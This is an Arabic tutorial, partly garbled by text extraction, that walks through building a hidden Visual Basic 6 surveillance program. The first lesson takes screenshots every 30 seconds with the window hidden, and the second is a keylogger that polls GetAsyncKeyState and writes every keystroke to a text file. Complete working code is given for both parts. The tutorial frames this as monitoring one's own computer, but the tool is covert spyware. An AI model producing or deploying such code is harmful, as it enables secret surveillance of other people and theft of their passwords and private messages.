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  لمراقبة جھازك في أثناء غیابك كیف تصمم برنامج
      

لمراقبة جھازك سأشرح في ھذا الدرس طریقة تصمیم برنامج بسم االله والصلاة والسلام على رسول االله ، 
  .نعتقد أن الدرس صعب ولكنھ في غایة السھولة لعلك . في أثناء غیابك 

  

   تصویر حركات الشاشة: الدرس الأول  

  
  :)١-١الشكل (بیسك كما ھو موضح بالصورة التالیة  افتح الفیجول أولا

  

  
  )١- ١(الشكل 

  : )٢-١(ل كما في الشك بعد فتح الفیجول بیسك یظھر الشكل التالي صندوق الحوار التالي
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  )٢-١(الشكل

الذي  الفورم یظھر لنا Open على  ثم ننقر) ٢-١(كما ھو موضح بالشكل   Standard EXE نختار 
  ) :٣-١(سنصمم علیھ برنامجنا كما ھو موضح في الشكل التالي 

  

  )٣- ١(الشكل 

  یسجل أي كلمات یكتبھا المستخدم  جھازك بالصور ، ومن ثم یراقب برنامج: ھي  الفكرة

 "Print Screen"مفتاح ، ھل تعرف  قبل ان نقوم بتصمیم البرنامج یجب علیك معرفة الشيء التاليو
الموجود على الكیبورد ، الكل یعرف ھذا المفتاح ؛ فعندما تضغط على ھذا المفتاح بأناملك الجمیلة ، ثم 

   Paintرسام تذھب إلى برنامج ال
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Start > programs > Accessories>Paint 

تلاحظ أن صورة سطح المكتب ستلصق الصورة في برنامج الرسام وفإنك   ctrl + vعلى تضغط  من ثمو
  )٤-١(أصبحت موجودة في برنامج الرسام ، أنظر إلى الشكل 

  

  )٤- ١(الشكل 

ثم نجعلة یسحب الصورة "  "Print Screenسنستغل ھذه الطریقة بحیث نجعل الفیجول بیسك یضغط على 
ومن ثم یحفظھا في مكان معین على  "یسحبھا من الذاكرة"، أو بمعنى آخر  ویضعھا في آداة الصور

  .الھاردسك 

  :تصمیم البرنامج 

  )٥-١(كما ھو موضح بالشكل ، وصندوق نص Timerأدرج :  الخطوة الأولى
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  )٥- ١(الشكل 

  

؟؟؟ إن الوظیفة الرئیسیة لھذه الآداة ھي  Timer1 ماوظیفة ، ھل تعرف  Picture1و  imer1 Tأدرجنا  كما تلاحظ سابقاً ،
، سنحدد ھذه الفترة الآن " ) (Intervalبشكل متكرر وبعد فترة زمنیة یحددھا المستخدم وتسمى ھذه الفترة "تنفیذ أمر معین 
  ) ٥-٢(، أنظر إلى الشكل  نصف دقیقةوالتي تساوي  ٣٠٠٠٠ونجعلھا تساوي 

  

  )٥- ٢(الشكل 
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  . ٣٠٠٠٠علك لاحظت في الشكل السابق ، كبف بالإمكان تغیر ھذه الفترة ، وأصبحت تساوي ل

  ).٥-٣(كما یوضح الشكل التالي   Textثم أدرج آداة النص 

  

  

  )٥-٤(واجعل قیمتھا تساوي صفر كما یوضح الشكل 

  

)٥-٤(  

  .مجةوات الآن ننتقل إلى خطوة البرانتھینا من وضع الأد
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  .یصور الشاشة بعد كل نصف دقیقة  Timer1، سنجعل  Timer1رمجة سنقوم اولاً بب : الخطوة الثانیة 

للوصول إلى صفحة البرمجة ونختار الفورم ولكن قبل ذلك علینا وضع بعض التعریفات ، فنضغط على 
"General " ٦-٤(و كما ھو موضح في الشكل(  

  

  )٦- ٤(الشكل 

لتعریف الدوال المستخدمة ، علما بأننا لم نبدأ حتى الآن  "قسم الإعلانات"الوصول ي ھذه الطریقة ھدفي ف
  :قسم الإعلانات نكتب الكود التالي الى على أیة حال بعدما وصلنا و،   Timer1ببرمجة آداة 

 

Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, _ 

ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) 

  شرح الكود :

  )٧-٤(، أنظر إلى الشكل  keybd_eventھذا الكود خاص بتعریف الدالة 

  

  )٧-٤(الشكل 
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  .ارجو نقل الكود ، حتى لو لم تفھمھ 

لفتح صفحة مرتین   Timer1، أنقر على الــ  Timer1الآن نأتي إلى الخطوة الرئیسة وھي برمجة الــ 
  البرمجة الخاصة بھ ، واكتب ھذا الكود 

 

Private Sub Timer1_Timer() 

 keybd_event vbKeySnapshot, 0, 0, 0 

  DoEvents 

Text1.Text = Val(Text1.Text) + 1 

   SavePicture Clipboard.GetData(),"D:\screen\" & Val(Text1.Text) & ".bmp" 

Picture1.Picture = LoadPicture ("D:\screen\" & Val(Text1.Text) & ".bmp") 

End Sub 

  

 Timer1ــ یجعل ال ھذا السطر  keybd_event vbKeySnapshot, 0, 0, 0:  طبعا السطر الأول 
  .وتخزینھا في الذكرة  vbkeysnapshotوالمسمى ھنا بــ  "Print screen"یضغط على زر 

  .ت بینما یتم الإنتھاء من عملیة التقاط الصورةتضیع بعض الوق  DoEvents :والسطر الثاني 

  . ١تزداد كل مرة بقیمة  Text1یجعل قیمة   Text1.text =val(text1.text) + 1: لثوالسطر الثا

یجب تحدید مكان تستخدم لحفظ الصورة وعند استخدام ھذا الأمر :   SavePicture: رابعوالسطر ال
وتحدید المكان الذي ،  "()Clipboard.GetData "اكرة ووضعنا ھنا الذ الصورة التي ترید حفظھا

  D:\screen\" & Val(Text1.Text) & ".bmp""وھنا سنحفظ الصورة على ھذا المسار . ستحفظ الصورة فیھ

  

   text1في  "رقم الموجود"+   screenحتى كل مرة یحفظ الصورة باسم  & Val(Text1.Text) & ووضعنا

  .؟؟؟ حتى یحفظ الصورة بإسم مختلف عن اسم الصورة التي قبلھا قم في كل مرة یزدادوھذا الر

")Val(Text1.Text) & \Screen\:DPicture1.Picture = LoadPicture & " : خامس والسطر ال
".bmp")   

دائما لإستدعاء أي صورة ،   Picture1استخدمنا ھذا السطر لإستدعاء الصورة من مكانھا وعرضھا في 
ومن ثم نستخدم أمر الإستدعاء   Picture1.pictureنستخدم المكان الذي نرید عرض الصورة فیھ وھو 
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"Screen\:D\ & "، ویجب أن تحدد المكان الذي ترید عرض الصورة منھ وھو   LoadPictureوھو 
Val(Text1.Text) & ".bmp")  (  ،طر ، ولكني وضعتھ حتى علما بأنھ لادعي من وضع ھذا الس

-٤(، أنظر إلى الشكل  Pictureتستطیع عمل برنامج لعرض الصور ، وحتى تتمكن من التعامل مع آداة 
٨. (  

  

  )٨- ٤(الشكل 

بالتقاط الصورة بواسطة الضغط على   Timer1في السطر الأول قام السید  : شرح الآكواد بطریقة أخرى 
Print Screen   وعبر عنھا بــvbkeySnapshot  ومن ثم انتظر قلیلا باستخدام الأمر ،DoEvent  

تنحفظ الصورة فوق ما بعد استدعائھا من الحافظة ولكن حتى   Screenأردنا أن نحفظ الصورة بإسم
ا كل صورة تتمیز لھا قیمة تغیر من اسمھا كما فعلنا سابقا جعلن یفضنغیر اسمھا أو نالصورة التي قبلھا 
  . عن الأخرى برقم 

أمام المستخدم ، لذلك یجب إخفاءه لیتم التصویر في  ، وھي أن الفوروم ظاھر ن یوجد نقطة لم ننتبھ لھاولك
  :الخفاء ، ننقر على الفورم مرتین فتظھر صفحة البرمجة الخاصة بھ ، ونكتب ھذا الكود 

  

  

  

  

Private Sub Form_Load() 

From1.Hide 

End Sub 
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بدلا   Me.hideلإخفاء الفورم ونستطیع استخدام ھذا الكود   hideمرلاداعي لشرح الكود فقط استخدمنا الأ
  ) ٩-٤( فكل الطرق تؤدي إلى نفس النتیجة ، أنظر إلى الشكل  من الكود السابق ،

  

  )٩- ٤(الشكل 

  برنامج تصویر الشاشة في الخفاء ، وھذا الكود النھائي بشكل كامل  انتھینا من

Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, _ 

ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) 

Private Sub Form_Load() 

Form1.Hide 

End Sub 

Private Sub Timer1_Timer() 

 keybd_event vbKeySnapshot, 0, 0, 0 

  DoEvents 

Text1.Text = Val(Text1.Text) + 1 

   SavePicture Clipboard.GetData(), "D:\screen\" & Val(Text1.Text) & ".bmp" 

  Picture1.Picture = LoadPicture("D:\screen\" & Val(Text1.Text) & ".bmp") 

End Sub 
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، طبعا ھذه الخطوة من أسھل مایكون   EXEكیف أجعل برنامجي كباقي البرامج بصیغة  :الخطوة الأخیرة 
  ) ١٠- ٤(كما ھو مبین في الشكل   Makeثم   Fileفقط إذھب إلى  ،

  

  )١٠- ٤(الشكل 

، حدد مكان مشروعك ، وغیر اسمھ حسب ) ١١-٤(فتظھر لك نافذة لحفظ مشروعك كما یوضح الشكل 
  )١٢-٤(وھذا ما یوضحھ الشكل   OKرغبتك ومن ثم اضغط 
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  )١٢- ٤(الشكل 

بة الشاشة بالصور ، وحتى تتمكن من معرف طرق التعامل مع وھكذا نكون قد انتھینا من برنامج مراق
  الذاكرة یمكنك الوصول إلى ھذا الرابط

hƩp://forum.kooora.com/f.aspx?t=22279335  

 . LoadPictureیمكن تصمیم برنامج لعرض الصور باستخدام الـــ : ملاحظة 

  

  تسجیل مایكتبھ المستخدم : الدرس الثاني  

الآن نأتي إلى الجزء الثاني من الدرس وھو مراقبة لوحة المفاتیح ، سنجعل الفیجول بیسك یقوم بحفظ كل 
 Keyloggerواسم ھذا البرنامج یسمى بـــ  Keylog.txt مایكتب على لوحة المفاتیح في ملف یسمى 

  "في أول الدرس"، كما تعلمنا سابقا الخطوة الأولى افتح مشروعا جدیدا 

كما تعلمنا سابقا وھذا ماتوضحھ الأشكال السابقة ؛ الشكل  ١واجعل الفتره تساوي   Timer1أدرج : ثانیا 
  .سابقاً) ٥-٢(والشكل ) ٥-١(

للوصول إلى قسم الإعلانات كما وضحنا سابقا في " General"واختر انقر على الفورم مرتین : ثالثاً 
  ).٦- ٤(الشكل 

  أكتب ھذا الكود في قسم الإعلانات

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As 
Integer 

  

  ) ١٣-٤(كما یوضح الشكل التالي 
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  )١٣- ٤(الشكل 

   شرح ھذا الكود

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As 
Integer 

  

  .  GetAsyncKeyStateھذا الكود خاص بتعریف الدالة 

  : ثالثاً 

  مرتین فتظھر صفحة البرمجة الخاصة بھ ، ونكتب ھذا الكود  Timer1ننقر على 

Private Sub Timer1_Timer() 
Dim result As Integer 
 
For i = 1 To 255 
result = 0 
result = GetAsyncKeyState(i) 
 
If result = -32767 Then 
Text1.Text = Text1.Text + Chr(i) 
 
Open "d:\log.txt" For Output As #1 
Print #1, Text1.Text 
Close #1 
 
 
End If 
Next i 
 
End Sub   

  

لأن لكل زر )  ٢٥٥-١(التي أخذت ھذا المدى   for، طبعا بدأنا بجملة .. ایش ھذا الكود ؟؟ !! یاحبیبي 
   GetAsyncKeyStateاتیح لھ قیمة رقمیة ،ومن ثم أخذنا اسم المفتاح بالدالة على لوحة المف

  في ھذا الموضوع " وھي طریقة انشاء ملف ووضع القیم فیھ"وقد شرحت باقي الأسطر 
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_.htmlhƩp://www.4shared.com/document/nniQN2JG/___  

یتكون من قسمین قسم یختص للمراقبة  ، والآن انتھینا من صنع برنامجاحفظ المشروع : الخطوة الأخیرة 
  .تسجیل حركات الكبیوردقسم یختص بتصویر الشاشة وبب

  

  

  

  

  




